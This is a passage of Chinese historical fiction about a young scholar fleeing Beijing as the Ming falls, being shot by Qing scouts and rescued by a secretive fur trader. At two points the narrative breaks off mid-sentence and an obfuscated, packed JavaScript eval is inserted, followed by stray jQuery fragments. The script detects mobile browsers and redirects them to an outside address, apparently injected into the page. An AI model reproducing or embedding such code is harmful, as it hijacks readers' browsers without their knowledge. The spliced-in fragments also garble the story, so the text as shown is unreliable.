我一把推开房门,瘫在床上,也懒得再去想这事了,好歹是听了半天吉祥话,这要是过年的时候,听小辈们说吉祥话还得给压岁钱呢!
罢了,走了一下午也是身心疲惫,本来想闭目养神一会再去洗漱休息,结果困得张不开眼,最后和衣而眠,连油灯也忘记吹灭。
睡眼惺忪间,油灯暗淡的光在墙壁上投下影子,左晃右晃。
老人说的话已经记不太清了,只剩下贵人两字在我耳边萦绕。
贵人……贵人……
只见那老人伸出来向我要钱的手也在眼前摇晃,不知为何,原本干枯沾满铜臭的手正变的年轻,经年累月劳作的粗糙皮肤逐渐细腻,手指向前长了几分,变的修长,指节也膨大起来。手心上面的皱纹随之退去,像一条条游动的小蛇,血肉也变的充盈,甚至能看见脉搏的跳动,充满了力量。
恍惚间,我似乎感觉到那只手的主人正期待着我也伸手过去。
于是本能的向他抬起右手,可还没等我碰到他,接下来便天旋地转,睡的不省人事。
4. 其四 神州陆沉
咚……咚……咚咚咚
咚咚咚……咚咚咚咚
耳畔隐隐约约听见战鼓震天动地,连着房子都跟着一起颤抖,似乎房梁上的灰尘也被抖落到了我的脸上,但梦魇却始终如山般压着,岿然不动。
咚咚咚……咚咚咚咚咚咚
声音越来越大,越来越近,身上那座五指山也慢慢坍塌,因为被压着堵塞的血液重新流向身体的各个角落。我挣扎着抬起手,想说出话。
“既白先生!既白先生!您快起来!出大事了!”
听到院门外在喊自己的名字,连带着这一片民居里养的狗也跟着叫了起来。梦魇终于从我身上消失离去。我用力睁开眼睛,发现因为自己睡的太过急促,衣服也忘记脱了,连忙向出屋向院门走去,边走边抚平外衣上的褶皱,拢起鬓角垂下的头发,又抬起双手用力抹了一把脸。
打开院门,白天见过的那个小书童正站在门外,还没等我询问,他就张口了:
“皮草游商告全体商会同乡:闯军已大败,近乎全歼。剩余散兵游勇以尽皆逃离京城,并于宫城四处放火。目前京城已无驻防,门户大开。京畿各地士绅捕杀闯逆官员,高举反旗,立场不明,途中多保持警惕。多尔衮率大军占领通州城,将于天亮后向京城进发,大运河水路各段已悉数被控制,望诸君分头行动,取道西郊,绕路至山东,速速南下。”
“望诸君分头行动,取道西郊,绕路至山东,速速南下。”
小书童模仿着游商那低沉的嗓音宣读着这则消息,并且又强调了一遍最后一句。
此刻我感觉心脏如同被一只大手狠狠攥住,不愿撒手。尽管每个人都知道这一刻即将到来,到真的面对时,依然令人绝望。
留在京城的每个人都曾幻想着王师归于旧都的那一天,不愿放弃往日的野心、积累的财富,和这片几曾繁华的热土。
因此,每个人都抗拒着,试图延缓这一天的到来,当天争吵的那些商人是这样,大员是这样,我也是这样。
小书童见我靠在门边,也没说什么,继续向我传话:
“赵主事稍后将到胡同口,请既白先生准备好。”
说罢,小书童头也不回的跑了。
“哎,等等!”
小书童肯定听到了我在喊他,但还是继续跑着,转眼就消失在胡同中。现在天色还是黑漆漆的,我本来是想问问他现在什么时辰,又有点好奇他家主人的安排。想来也是我幼稚了,这个节骨眼,怕是打更的也跑了。
回头拿上行李,我走到胡同口,静静等待赵主事到来。
“小柳,等等!”
我斜靠在胡同口的槐树旁,被身后传来了的喊声吓了一跳,转身一看,是李奶奶带着小孙儿走了出来。
“李奶奶您怎么这么早出来了?”
其实大概也知道缘由,心底莫名的感觉到酸楚,我慢慢向他们走了过去。
“孩子,这大半夜的我们把你吓着了吧?刚刚听有人在咣咣敲门,正好我也睡醒了,现在年纪大了,睡得少。”
李奶奶说罢,从布袋子里掏出一个用油纸包装好的点心匣子,上面还捆着纸绳。
“这个是我昨天去铺子里买的点心,现在城里还开门的糕点铺很少了,这家也只剩下点桃酥,时间久了有点干,倒是不容易坏,你路上拿着吃。”
我刚想谢谢李奶奶,她又从袋子里找出一个用褡裢皮包着的东西,说到:
“我买完点心又蒸了一些饼,里面包着前两天去西郊采的野菜,怕你点心吃不饱。”
奶奶向我笑着,慈祥的笑容让我想起了我远在江东的亲人。我赶忙向奶奶行了个大礼,奶奶忙不迭的扶住我,说:
“你说说你这,又不是逢年过节的,行什么礼啊。你先前那么用心的教我小孙子,我们家没什么出息,也没出过举人,都是靠种地收租过活,万一这小子真是那块料,可得谢谢你啊!”
“我才应该感谢您,游子在外,碰上李奶奶,真像是回家了。”
我向奶奶点点头,表示感激。
“你看看,又客气不是?你来我这儿可不就是回家了,这要按家谱说,咱们也算半个老乡,当年跟着成祖皇帝一块从应天迁到的京城。”
奶奶说完,半夜出门有点害怕的小孙儿本来躲在身上,这会出来在旁边揪了揪我的衣角,见我低头看他,小声说到:
“柳先生,我以后还能上您的课吗?”
我蹲下身去,摸了摸小孙儿额头的刘海,对他说到:
“一定能的,待哪天惠风和畅,海清河晏,我就回京城接着给你当邻居,接着教你千字文。”
小孙儿又高兴了起来,声音比刚才大了些,说到:
“柳先生,柳先生,我把前面的都背下来了!”
“天地玄黄,宇宙洪荒。
日月盈昃,辰宿列张。
寒来暑往——”
大街的深处突然传来急促的马蹄声,一辆马车正朝着这边疾驰而来。
我站起身,回头看了看,正是赵主事的马车,于是和他们告别:
“先别背完,等下回来了接着背。李奶奶,您可一定要保重身体,小孙儿学习上面有点天赋,不要荒废了。”
奶奶握紧了孙儿的手,说:
“您说的是,您路上也多保重,可以的话,到了家给这边回封信。快走吧,别误了时辰。”
我点了点头,随后赵主事的车停在了面前,他从车里伸出手把我拉了上去。车夫抖了抖肩膀,他以为这堆行李会很重,猛的一用力差点摔在地上,小孙儿也在旁边好奇的看着他。
“柳少爷,您的行李怎么这么轻啊?”
车夫可能觉得尴尬,回头朝我问了一句。
“啊,我理解赵主事的意思是要轻装简行,不过本来一个人出门在外,也没什么行李。”
车夫把行李都绑在了马车后面。我最后再回头向他们招招手,说:
“一定再见!”
坐到马车上,我感到眼睛有些湿润,抬起手用袖角擦了擦眼睛。回忆起这么多年寒窗苦读,头一次离乡出远门,遇到的人都如此善良。一旁的赵主事用疲惫的声音说到:
“多么善良的人啊!原本他们应该生在太平年,颐享天伦之乐,唉。”
“是啊,唉。”
马车行至大街上,感觉空气里传来一股烧焦的味道,我揉了揉鼻子,还没等我发出疑问,赵主事掀起帘子,示意我越过民房的屋顶,朝着东北方向望去——
此时宫城的方向火光冲天,将煤山上的亭子都照亮了,染红了半边天。那烟气愈聚愈浓,愈升愈高,跟着风向变动四处摇晃,在火光照耀下像是一条黑龙盘旋,上下跳跃。在滚滚浓烟深处,猛地窜出数条火舌,像是一条火龙在木梁黄瓦之间游动。在两龙缠斗、撕咬的难舍难分时,那宫殿的屋顶逐渐瓦解、倒塌。
城里剩余的闯军西逃时,点燃了宫城里的宫殿,只是我们离得太远,不知道损失有多少。这一路的城门都无人把守了,只剩下空荡荡的门洞,黑漆漆的,像一个怪物的大口。街上得到消息准备南逃的人也骑着马或者驾着马车从各路胡同口鱼贯而出,但也没有多少人,因为该跑的早就跑了。这场景十分可笑,因为这条街已经好久没有这么热闹。
“我大明二百七十六年国祚,不知今后又该走向何方。”
听到赵主事在一旁远望着身后血红的天空,幽幽的说到,我也不知道该说些什么,两人就这么发着呆,靠在车厢上,睡着了。
“车夫,我们现在到哪儿了?”
赵主事提前醒了,掀起窗帘,喊了车夫一声。
“主事,我们到永定河右堤了,刚刚过卢沟桥。”
此时已到清晨,太阳刚刚在东方升起,给晨雾中的京城镀上了金边。只是浓烟四起,看来着火的地方不止一处。
京郊的路不比城里,再加上战事不断,泥泞不堪又坑坑洼洼,但总归是走上归乡的路了。人一放松下来,就会饿,我想起李奶奶拿的吃食,便从布袋子里掏出来分给赵主事一份。
这是一种用醒过,发酵过的粗粮面蒸制而成的饼,里面夹着调过味的时令蔬菜,诨名“象鼻子”。京城因为曾经进贡的奇珍异兽颇多,所以
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126563|180077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见识也广,类似名字的食物还有很多。
我用力咬了一口,发酵的饼皮微微发酸,香气十足,里面的时令蔬菜更是提鲜。一想到李奶奶可能是怕我路途遥远,胃口不好,才准备的这种吃食,心里就更是酸楚了。
赵主事同我说,根据之前那个皮草游商提供的信息,北虏并没有一头向京城扎去,他们这次出兵风格更偏稳健,而是分兵多路试图包围京城,防止有变。因此商会同僚决定听从游商的建议,分头行动,到定州城外再汇合。所以路线是先跨过永定河,一路走到西山山前,再向南才更安全。
太阳升起后,尤其到了正午时分,阳光直直的照在黑色的车厢上。此时车里的温度越来越高,我们两人在里面热的满头大汗,口干舌燥,便吆喝车夫在一个小溪旁停下,准备把水壶补满。
车夫拿出皮制的水壶,向小溪边走去,他低头看了看溪流里的水,回头对我们说。
“还好最近几日没有下雨,这水真清澈啊。”
说罢车夫先附身喝了一捧溪水,然后又洗了洗脸。
早上出门走得急,我也还没有洗脸,趁着车夫灌满水壶的功夫,我便从车上下来掬起一捧溪水泼在脸上,冰凉的水让我感觉清醒多了,连五感都变的敏锐起来。
赵主事见我们都去歇息,也下来呼吸一番林间的清新空气。
“这在城里呆的久了,再闻到这么新鲜的空气,的确延年益寿。”
听赵主事这么说,我回应到:
“是啊,不过京城的气候还是太干燥了,还是江东呆着舒服。等回去之后,我是没力气再考了,到时候再买几亩地,种种地也挺好。”
“哈哈哈哈,你们年轻人说的简单,种地太累了,我小时候家里穷,也曾经帮着种地,那可不是你这种小身子骨能承受的。好了,等他把水装满咱们就出发。”
车夫把水装的差不多了,站起身来,抱着几个水壶向我们这边走。
这几个水壶还是挺重的,车夫的脚步都变得沉重了,把脚下的石子踩的吱吱作响,但有些声音好像不是从他脚底传来的。我感觉林子中似乎有着窸窸窣窣的声响,像马匹喘气的声音,有几只麻雀也被惊起,从林中飞了出来
我回头看了看赵主事,发现三人此时同时听见了声音,就像被鹰盯住的兔子,僵在原地,只剩直觉还在辨别响动是在什么方向。
突然,一阵锐利刺耳的尖啸瞬间划破了凝固的空气,时间再次开始流动,一支箭径直从林中射出,钉在车厢上,发出了巨大的声响,密林深处的鸟群也随之逃散。
马匹感知到危险,高声嘶鸣,然后扬起了双蹄,像是试图攻击一个看不见的敌人。车夫经过多年体力劳动,总归是反应最快,甚至忘记扔下手中的水壶,拔腿就向着车厢后跑,并大喊着:
“主事!快躲!”
紧接着第二支箭正中面门,没有再给他说话的机会。弓箭的威力好像把他的头向后推了一下,就像撞在什么东西上,车夫随之倒在地上,身体微微颤动,鲜血汩汩流出,顺着斜坡流往涧溪,染红了水,随后没了动静。
我和主事也反应过来,正要向车厢后面躲。这次对方出手极快,亦或是有多张弓正瞄准了我们,立刻又是两声尖啸,濒死前高度紧张的神经让我似乎听见了弓弦弹动的声音,一支箭射中了赵主事的右胸,他向后一倾,倒在了车厢旁,血液喷涌而出,正向外洇开,染红了他的衣服。我向他那边望去,赵主事的眼睛中满是惊恐,露出难以置信的神情,随后痛苦扭曲了他的面庞。
紧接着又是一记凄厉的声响,我感到身体一颤,然后低头,一支箭深深的穿过麻布外衣,插在我的肩膀上。
我朝林中看去,树林里的灌木开始晃动,三匹高头大马从林中慢慢出现。我又转头看向赵主事,鲜血正从他的嘴角和鼻孔流出。
随后我感到中午的烈日正在变的冰冷,天空也离我远走,剧烈的疼痛像潮水般朝我袭来,身体难以再保持平衡,碎石和沙土猛的朝我砸去,我一头栽到了地上。
树林中的三个骑兵将长弓收进弓袋,拔出利刃,谨慎的朝我们走来。
5. 其五 魂断西山
箭矢命中左肩的剧痛让我短暂失去意识,恍惚间看到三人在马上缓缓骑行而来,服饰盔甲与明军并无太大差别,只是有些细节带有北方特色。
为首的穿着布面棉甲,内衬的甲片随着马匹走动哗哗作响,似乎是其余两人的指挥者。他举起马鞭对着我们比划了一顿,似乎在说些什么,但那是我从未听过的语言。
钉着蹄铁的马蹄照着我的头轻轻踢了一下,好像在判断这人还有没有活着。这一下踢到了嘴唇,一股铁腥味在口中蔓延开来。
他们还在聊着,我痛苦的张开嘴,脑袋已经失去了思考的能力,本能的说了一句:
“你们是谁?”
他们听到我说话愣了一下,为首的那个人用口音极重的汉语说:
“天兵。”
“哈哈哈哈哈!”
三人的笑声充满嘲弄,随后左右两名士兵从马上跳下,将奄奄一息的赵主事抬起扔到车上,随后将我也架起,扔到赵主事旁边。其中一名士兵一把扯下门帘和窗帘,方便监视,另外一名士兵走到河边,踹了车夫的尸体一脚,见他已无反应,便将其拉到水里,让溪流将他冲走,并捡回了刚刚他装满的水壶。
离得近的那个士兵坐在马车上,示意他们牵着他的马走,由他来驾着马车。
刚才我看了看太阳的高度,盘算了通州城治所到京城的距离,估计这仨人可能是大部队前面探路的游骑。很快,马车继续动了起来,只不过这次又从来的方向回去了,大概是返回京城吧。
赵主事的箭伤已危及生命,那根箭可能已经射穿了他的肺,血也还在缓缓的向外流淌,外衣早已被浸透。
我强忍着左肩的疼痛,掀起赵主事的衣服,拿刚才撕烂的帘子帮他压住箭伤处止血。主事朝我摆了摆手,示意这样于事无补,这时他已经说不出话了,血液不停的呛住嗓子,每次咳嗽都让血流的更快。
我只能帮他朝着伤口相反的方向侧躺下,然后靠在他旁边,继续帮他压着箭伤。
远处京城的城墙慢慢出现在地平线上,车厢外的士兵不知道又在说些什么,我向外面望去,又有一个骑兵疾驰而来,穿着和他们相近的服装,弓袋跨在一侧,下面压着一把熟悉的长刀,刀柄向后,刀鞘向前,腰间挂着的那条罕见的银灰色尖端乌黑的狐狸尾巴让我猜测,这好像是那个皮草游商,此刻狐狸尾巴内侧已被血液染红。
来者身形高大,气场远胜于那个为首的鞑子兵,前日用来遮脸的玄色头巾绑在脖子上,头上带着头盔,头盔上的红缨拥促着中间直直指向天空的野鸡尾羽,正随着疾驰的骏马摆动。
他脸庞瘦削,脸色阴沉,一双丹凤眼打量着四周,剑眉星目,精心修剪过的胡须黑如点漆,凌厉的眉目之下似乎略有愠色,但转眼就消失不见。不再隐藏在游商的伪装之下后,那股历战精兵的杀气蓬勃而出,震慑着在场每一个人。
北虏首领一旁的士兵,骑马的那个左手捏住箭袋中的箭矢,坐在马车上的那个握住一旁的弯刀,一时间剑拔弩张。
那人向后轻轻拽了一把缰绳,马停在他们不远处。
虽然的确是前日那游商的低沉沙哑的声音,但此时双方交流所用的,依旧是我从未听过的语言。
我猜测,双方大概在互报来历,一来二去之后,为首的那个北虏竟笑出声来,他们似乎认得这游商,以至于报上名号,人人皆知。
他们说完后,游商向车内望了一眼,看到插在赵主事右胸的箭,嘴角轻轻抽动。又看到我靠在旁边,按着肩膀上的伤口,正死死盯着他。
他默不作声,狠狠拉着缰绳,招呼三人与他一同向京城的方向进发。
行至永定河,远处的北虏大部队正在四处点起狼烟,向各处分散的骑兵传信。游商又和为首的北虏交谈一阵,随后马车停下,车上的那个士兵跳了下去,又跨回马上,三人一同向游商行礼后,朝着狼烟的方向疾驰而去。
游商从马上下来,坐上马车,吹了一声口哨,那匹战马听话的跟随在一旁。我悄悄看了眼太阳的位置,推测他正驾着马车朝北方走去。
走了一段时间后,大概那三个士兵也走远了,他摘下头盔,露出头顶那个汉人的发髻,擦了擦头上的汗。看到那个发髻,我小小的松了口气,但还保持着警惕。随后马车停下了,他弯腰走进车厢内,问到:
“赵主事怎么样了?”
“我不知道。”
其实我也知道主事命不久矣,但我不敢说出口。
游商手脚利索,将主事的衣服脱下,露出伤口,那里留出的血液此时正冒着泡,发出嘶嘶声。他用牙齿将刚才剩下的破布撕成布条,轻轻缠绕在箭杆周围,避免其晃动、移位,进而扩大伤口。看的出来,他对付这样的伤势颇有经验。
“北虏善用的角弓威力巨大,甚至堪比火器,若不是你们离得太近,箭矢怕是要扎个对穿,但现在估计也伤到后背了。”
说罢,游商看了看赵主事的脸,他面色苍白,额头布满了冷汗,口唇发绀,已经紫的发黑,轻轻叹了口气。
他正准备帮主事翻身,压住伤处,避免让健侧那一边压迫呼吸,赵主事突然缓缓张开眼睛,抬起胳膊握住了游商的手,艰难的说到:
“崇......崇光......”
那似乎是游商的名字,他听见赵主事在喊他,便跪坐在一旁,弯腰俯下身去,凑到主事的嘴边。
“我大限......将近,别......别再为我浪费时间了。”
赵主事示意他抽出腰间的皮筒,打开后,里面是那日会谈时的黄绢。
“拿上这个.......尽快赶到应天去.......陛下需要我们.......将既白安全的带给他的家人.......”
“我和他父亲相识已久.......将他托付给你......虽然你我认识不久……你一定要帮我完成。”
他说完这句话,死死握住了游商的手,生命的火光渐渐从他的眼中熄灭,随后五指也失去了力量,慢慢张开,像是松开了与人世间联系的那根绳子,一声轻轻的长叹从喉咙深处慢慢飘出,头也倒向了一侧,没了声响。
游商低头看着他,但很快的,他站起身擦了擦手上的鲜血,把黄绢塞进皮筒里,又跪了下去,轻轻的、一遍又一遍的,轻抚着赵主事的眼皮,想帮他瞑目。
赵主事与我皆是同乡,论辈分,我应该叫他一声叔,他也的确待我亲如叔侄,虽然我们只是认识几个月时间。尽管我清楚的知道他寿限将至,但面对死亡,和此时外面重重的危机,我掉不下一滴泪水。
见游商在赵主事穿上衣服,整理遗容,我轻轻喊道:
“游商......”
我也不知道我喊他能做什么,但现在这里只剩下我们两人了。
游商吸了口气,转过身来对我说到:
“行了,什么游商,这生意算是做不成了。”
“我名颜崇光,刚才你也听见了,现在想办法南下,给你送回去,先给你包扎吧。”
颜崇光说罢,又重复了一遍刚才的操作,把布条放在一旁,让我将外衣褪去一侧,露出左边的肩膀。
“袭击你们的这三人也是棒槌,他们渔猎起家,射箭都是一把好手,这一箭是朝着你心脏去的,可惜射歪了。”
他见我没说话,自觉没趣,还是低头继续处理伤口。
“我要查验箭头的位置,看看能不能拔出来,可能会痛,你忍住别叫出声,别乱动。”
“嗯。”
我虚弱的应了一声,还没准备好,他就攥紧了箭杆左右摇晃。
“呃啊——!”
我刚叫出声,他就把戴着的皮甲护手按到我嘴上,我痛的狠狠咬了下去。
随后他把手抽出,只剩下护手还在我嘴里咬着,用力扳住我的肩膀,死死按在地上,又用膝盖压住我的身体,此时我痛的不停扭动,就像一条刚被垂钓翁钓上来的鲤鱼。
所幸没持续多久,他一手稳住箭头,一手用力把箭杆折断,然后停下来说:
“好了,看来今天大概没办法了,箭头应该是卡在锁骨那块了。”
说完,他把护手从我嘴里拔出来,我痛的一直喘着气,嘴唇也被护甲上的装饰物划破了,血从嘴角流了下来。
颜崇光掏出一个手帕,顺手帮我把嘴角的血擦掉,说到:
“挺好,本来看你嘴唇苍白,沾点血脸色都变好了。”
他又低头看了看手上护甲的牙印,揶揄到:
“牙口不错啊,赶上军中养的狗了。”
我已经痛的说不出话,只能斜靠在一旁喘气。他看我这样,笑着摇了摇头,拿起马鞭转身出去继续赶路了。
和着马车的颠簸,天色渐晚,我感到四周越来越冷,就把外衣披在身上,没过一会便睡着了。
“醒醒,下来吃点东西。”
颜崇光推了推我,在我睡着的时候,马车已经停在了树林中的空地上。他不知道我的布袋子里还装着食物,趁我睡着时,去打了只兔子,这会正在篝火上烤着。
我慢慢起身,在他的搀扶下从马车上下来,突然发现赵主事的遗体已经不在车上了。
他看出了我在找什么,说到:
“刚刚我看这也是个山清水秀的好地方,赵主事肯定喜欢,就挖了个浅坑,用石头埋起来了。快点吃东西吧,这一下午可把我累坏了。”
我听他这么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126564|180077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说,有点着急:
“那以后还能找到这里吗?”
“能啊,我一路上做了记号。”
这样我才稍微放下心来,说到:
“等到以后太平了,咱们再回来给他挪个地方。”
他扶着我坐在火堆旁,从烤野兔上撕下来一条腿,递给我,我也从布袋子里摸出来包好的饼,给他撕了半块。有肉有面食,看得出来,他吃的很香。
吃饱喝足之后,原本压抑的情绪开始涌上心头,难过、愤恨、猜忌,但还是一边吃,一边聊着天。我打量他腰间隐隐约约露出的海东青纹样符,这是北虏喜欢用的护身符。我忍不住问他:
“听你口音感觉你像是北方人,为什么会和江东的盐商打交道?”
他想也没想就回到:
“口音?兴许是跟辽东人混多了吧。我跟你是同乡啊,早上送信的时候不是说了吗?“告全体盐商同乡”。我本是江东盐商,南方对皮毛有需求,就在关外做皮草生意,后来关闭互市,只能偷渡了。”
我隐约感到他回答这个问题的时候,眼镜眨了许多次。
“你怎么没有一早跟我们走?”
他拿起水壶,喝了一口水,答到:
“商会的人分成各路行进,我给他们送信。”
“你怎么会穿着他们的衣服,军事动作熟练,还会说他们的语言?他们好像还认识你?”
颜崇光愣了一下,似乎并不太想回答我这个问题,说到:
“我的建议是,不该问的别问。”
既然这么说,那我也不好再问了,只是低头啃着有点干了的饼。
京城的郊外一到晚上便是漆黑一片,偶尔听到树林深处不知道什么动物的叫声。我抬头看了看夜空,月亮还没有出来,此时天上星罗密布,我找到了北斗星的位置,猜测可能那三个骑兵走后,我们并没有向南走,而是朝着北方去了。
我开始产生了怀疑。
借着篝火的光,他从腰间抽出了皮筒,把刚才塞进去的黄绢掏出来、展开,在眼前看着,我也看着他,看着他手中的黄绢。
突然,他随手一撇,黄绢被他扔进篝火中,燃烧了起来。
“你干什么!这是赵主事托付给你的遗物!”
说着,我努力站了起来,拼了命往火堆那边走,想从炭火中把黄绢抢出来。但因为先前失血过多,我双腿一软,重重摔在了地上,一瞬之间,只能眼看着黄绢在火焰中化为灰烬。
“你疯了?小心伤口裂开!”
“为什么?这是赵主事托付给你的遗物!!”
我一遍又一遍质问他,颜崇光见我这样,似是生起了无名火,对我正色道:
“首先,我认识赵主事比你更早。”
他顿了顿,继续说道:
“再者,我们现在身处北虏包围之中,手握朱家藩王的令旨,倘若被搜身出来,你是想死吗?”
“况且,我对大明背弃忠臣志士的皇帝老儿没有一丁点兴趣。”
颜崇光的话似乎在不停的验证着我的可怕猜想,他之前的语气就给我这种感觉,他好像始终游离在我们这群人之外,却盯着我们所有人,记下我们每个人的位置,或者还游离在中原之外,游荡在遥远的北方。
也许是引蛇出洞,即便是闯贼,也未能将盐商们留在京城的财富悉数榨出。我们刚刚离京不久,就遭到前哨骑兵袭击,仿佛是专程追猎一般。
恐怕在看不见的角落,其他的盐商已尽遭毒手,正在拷打之下,交代出其余财富的位置,将原本克复京师的希望,充当北虏攻克大明剩余力量的军饷。
我忍住怒火,仔细在脑海中搜寻一个可以让他当场暴露身份的问题,于是急中生智,又问他:
“你说你也曾是盐商,那我问你一个盐商皆知的问题。”
“若在苏州阊门,洞庭山碧螺春明前茶一斤,可换得湖州府双林镇冰蚕丝几尺?”
这个问题,对于从小游历于商市账房的盐商子弟来说,可是张口即来的常识。
“这……你为什么要怀疑我?我久居关外,对市价已无认知。”
颜崇光说完后沉默不语,不愿意再直接回答我的问题。
我一字一句的,像咬碎每一个音节,逼问他最后一个问题:
“这一切和你会说他们的语言有关系吗?”
“我说了,不该问的别问,我只管把你安全送到家。”
现在这股无名火又燃到我的身上,我用力拔起双腿,想向他走去,继续追问他为什么这么做。结果因为太过使劲,原本包扎好的伤口一下子裂开,深红色的血片刻染红了外衣,剧烈的疼痛瞬间终止了我的行动能力,我晕倒在地上。
6. 其六 隐入山林
再次醒来,不知道过去了多久。
我睁开眼睛,浑身像是散架了一样疼痛,努力将天旋地转的眼前整理清楚,但目之所及越是清晰,就越是疑惑。
“我这是在哪儿?”
还以为那个北虏的暗桩游商仍在旁边,我下意识的小声问道。
眼前是一间破败的石板房,我正在躺在卧室的土炕上。这间房的墙用夯土堆砌而成,墙面还能见到为了增加强度混杂其中的稻草,屋顶则是木梁,带着不均匀的黑,像是被火烧过一般。一旁的格子窗棂用已经发黄的白纸贴着,上面还有许多的洞。
“阿巴,阿巴阿巴!”
我这才发现在床前还趴着一个扎着小辫儿的男孩,听见我醒了,他像是在说着什么。
“小朋友,这是哪儿?”
眼下我最想知道的就是自己身处何方。
“阿巴阿巴,阿巴巴!”
听他这么说,我愣了一下,才发现他是一个哑巴,说不出话来。我叹了口气,算了,问了也是白问。
小哑巴听见我叹气,好像是有点沮丧,他应该知道是因为自己说不了话。
我看了看房内的桌子上,还放着我一直背着的白色布包,便示意他帮我拿过来。小哑巴虽然说不出来话,但是很机灵,能明白我的想法。
拿到布包后,我翻了翻里面的东西,还好,什么也没丢,那个用油纸包好的桃酥也在里面放着。我打开纸包,拿出一块桃酥给小哑巴,这桃酥放时间长了,干的掉渣,就像秋天干透了的叶子。这种甜甜的东西小孩子最喜欢,我就算了,没有水喝吃完了怕是要噎死。
他试着尝了一口,突然跳了起来,应该是有点高兴,一边阿巴阿巴的跑了出去。
没多会,我就听见外屋有动静,小哑巴帮着掀起了门帘,有个大娘端着两个陶碗走了进来。因为外伤,我现在感觉很是虚弱,突然有人走进来着实吓到了我。
“孩子,你终于醒了。”
那大娘端着碗,朝我笑着说道。
“您是?”
“行了,你边吃边聊,你这一晕就是两天两夜,再不吃饭真要饿死了。”
大娘把两个碗放在床头柜,扶着我靠在枕头上,递过来了筷子。
我看了看碗里的食物,一个是奶白色的汤里泡着些已经煮发黄了的野菜,上面放着几根炒黑了的辣椒,虽然闻着还可以,但着实令人没什么食欲。另一碗是小米南瓜煮成的甜粥,倒是适合我这个南方人的胃口。
“小伙子没吃过这个吧,这个叫糟菜,别看他好像跟煮烂了一样,其实很香。”
大娘一边为我解释,一边劝我夹一口尝尝。
“这个糟菜是将米汤或者面汤与野菜发酵做成的,再用糊巴的辣椒放在上面,拿热油一泼,滋啦一声,酸辣咸鲜,夏天吃这个正是解暑啊!”
我还是给了大娘一点面子,不是我挑食,只是跟着盐商商会的同乡,钟鸣鼎食惯了,有点不习惯......说明还是不够饿。
嗯?这糟菜虽然其貌不扬,正如大娘所说,酸辣咸鲜,甚是开胃啊!
大娘看我一顿狼吞虎咽,脸都笑开了花,一直为我添粥。没过一会,就全都吃完了。
“大娘,我想问问您,这是哪儿?”
她也是个话匣子,听我这么一问,自己就开始说了起来。
“咱这是京城西边深山的一个村子,那天你箭伤崩裂,又是昏迷又是高烧不退,有一个自称皮草游商的人连滚带爬的把你从山下背上来的。”
“我跟你说咱们这村的山路可不好走,尤其是前阵子下过雨,更是泥泞。我们每回下山去集市上卖点自家种的菜,都得天没亮出发才行。”
“那人虽然自称游商,但是看着感觉像是个当兵的,我看你也得有个一百来斤,就硬是给你背上来了。”
听他这么说,我稍微感觉到有点不好意思,毕竟救了我一命。但想起我昏迷前发生的事情,还是暗自怀疑。
“他进村的时候已经是深夜,村里人早就睡了,就这么站在村里大喊,把村里的狗全都叫醒了,都跟着他一块嗷嗷的叫唤。”
大娘一边跟我说着,小哑巴也在旁边嗷嗷的叫,像是在学着那天晚上发生的事情。
“能有这么个好兄弟也算是过命的交情了,正好我那天准备下山卖菜,起得早,他就把你扔在我这。”
“还给我放了几两银子和一些药草,吩咐我敷在你伤口上再煮好了喂给你。”
我掀起一点肩头的衣服,果然上面已经敷着药了。我想了想,又问大娘:
“大娘,那个游商这会在哪儿,我怎么没看见他?”
大娘倒是没藏着掖着,直接跟我说道:
“他跟我说在山下还有生意,今天一大早又下山去了,兴许晚上能回来。”
果真和我怀疑的一样,按两天前北虏军先头骑兵的速度,这会大部队恐怕已经开进京城了。这个时候颜崇光下山能做些什么?他果然还是有秘密。
大娘见我听完她的话,沉默不语,就帮我收起了碗筷,走出屋前对我说道:
“大娘就不打扰你了,让小哑巴陪着你吧,有什么事喊他就行,你得多休息,好好养伤,来到这了我们肯定能照顾好你,别瞎琢磨了。”
说罢,她端着碗筷离开了。
小哑巴在旁边,忽闪着两只大眼睛看着我,让我想起了房东家的小孙儿。
不知道他们还好吗?我暗自想到。
一想到房东奶奶,我就想起来出发时她给我拿的那个诨名“象鼻子”的吃食,这么想来,那个蒸饼里夹的野菜和刚刚吃的差不多?
我低头从布袋子里掏出一个线装的小本子,上面用云锦装饰了封面,是我从苏州出发至京城之前在东市买的,封皮上写着“北行散记”四个字,是我拿来记录进京赶考路途所见的笔记。
“小朋友,能帮我拿碗水来吗?”
小哑巴反应很快,起身出去给我拿了水来。
我拿出一个小砚台和旅行用的短枝毛笔,砚台里还有之前磨的墨,倒是省事,把刚刚大娘做的“糟菜”配方和之前房东给我的“象鼻子”都写了上去。
小哑巴用好奇的眼神看着我,像想问些什么。
“小朋友,你学过认字写字吗?”
他朝我摇了摇头。
可能是山区偏远,这里的居民上不起教书先生的学堂吧。我暗自感慨百姓生活之不易,不学认字,不通算术,何时才能光耀门庭,离开这里过上好日子?
“那你等我养好身体,教你念书写字,怎么样?”
“阿巴!”
小哑巴高兴的点点头,又阿巴阿巴的喊了起来。
记过这一路上的见闻,我特意把埋葬赵主事的地方大致画了张地图,描绘了那天被北虏兵袭击时的场景,想着日后再回去给他迁坟,带他回江东。
由于身体还是太过虚弱,写完笔记我就靠在床头,睡着了。
“柳既白?醒醒!”
重伤后的劳累让人睡的太沉,连梦都不做,就听见有人在旁边喊我,还拍了拍我的胳膊,至少这人知道我肩头受伤了,没推我肩膀。
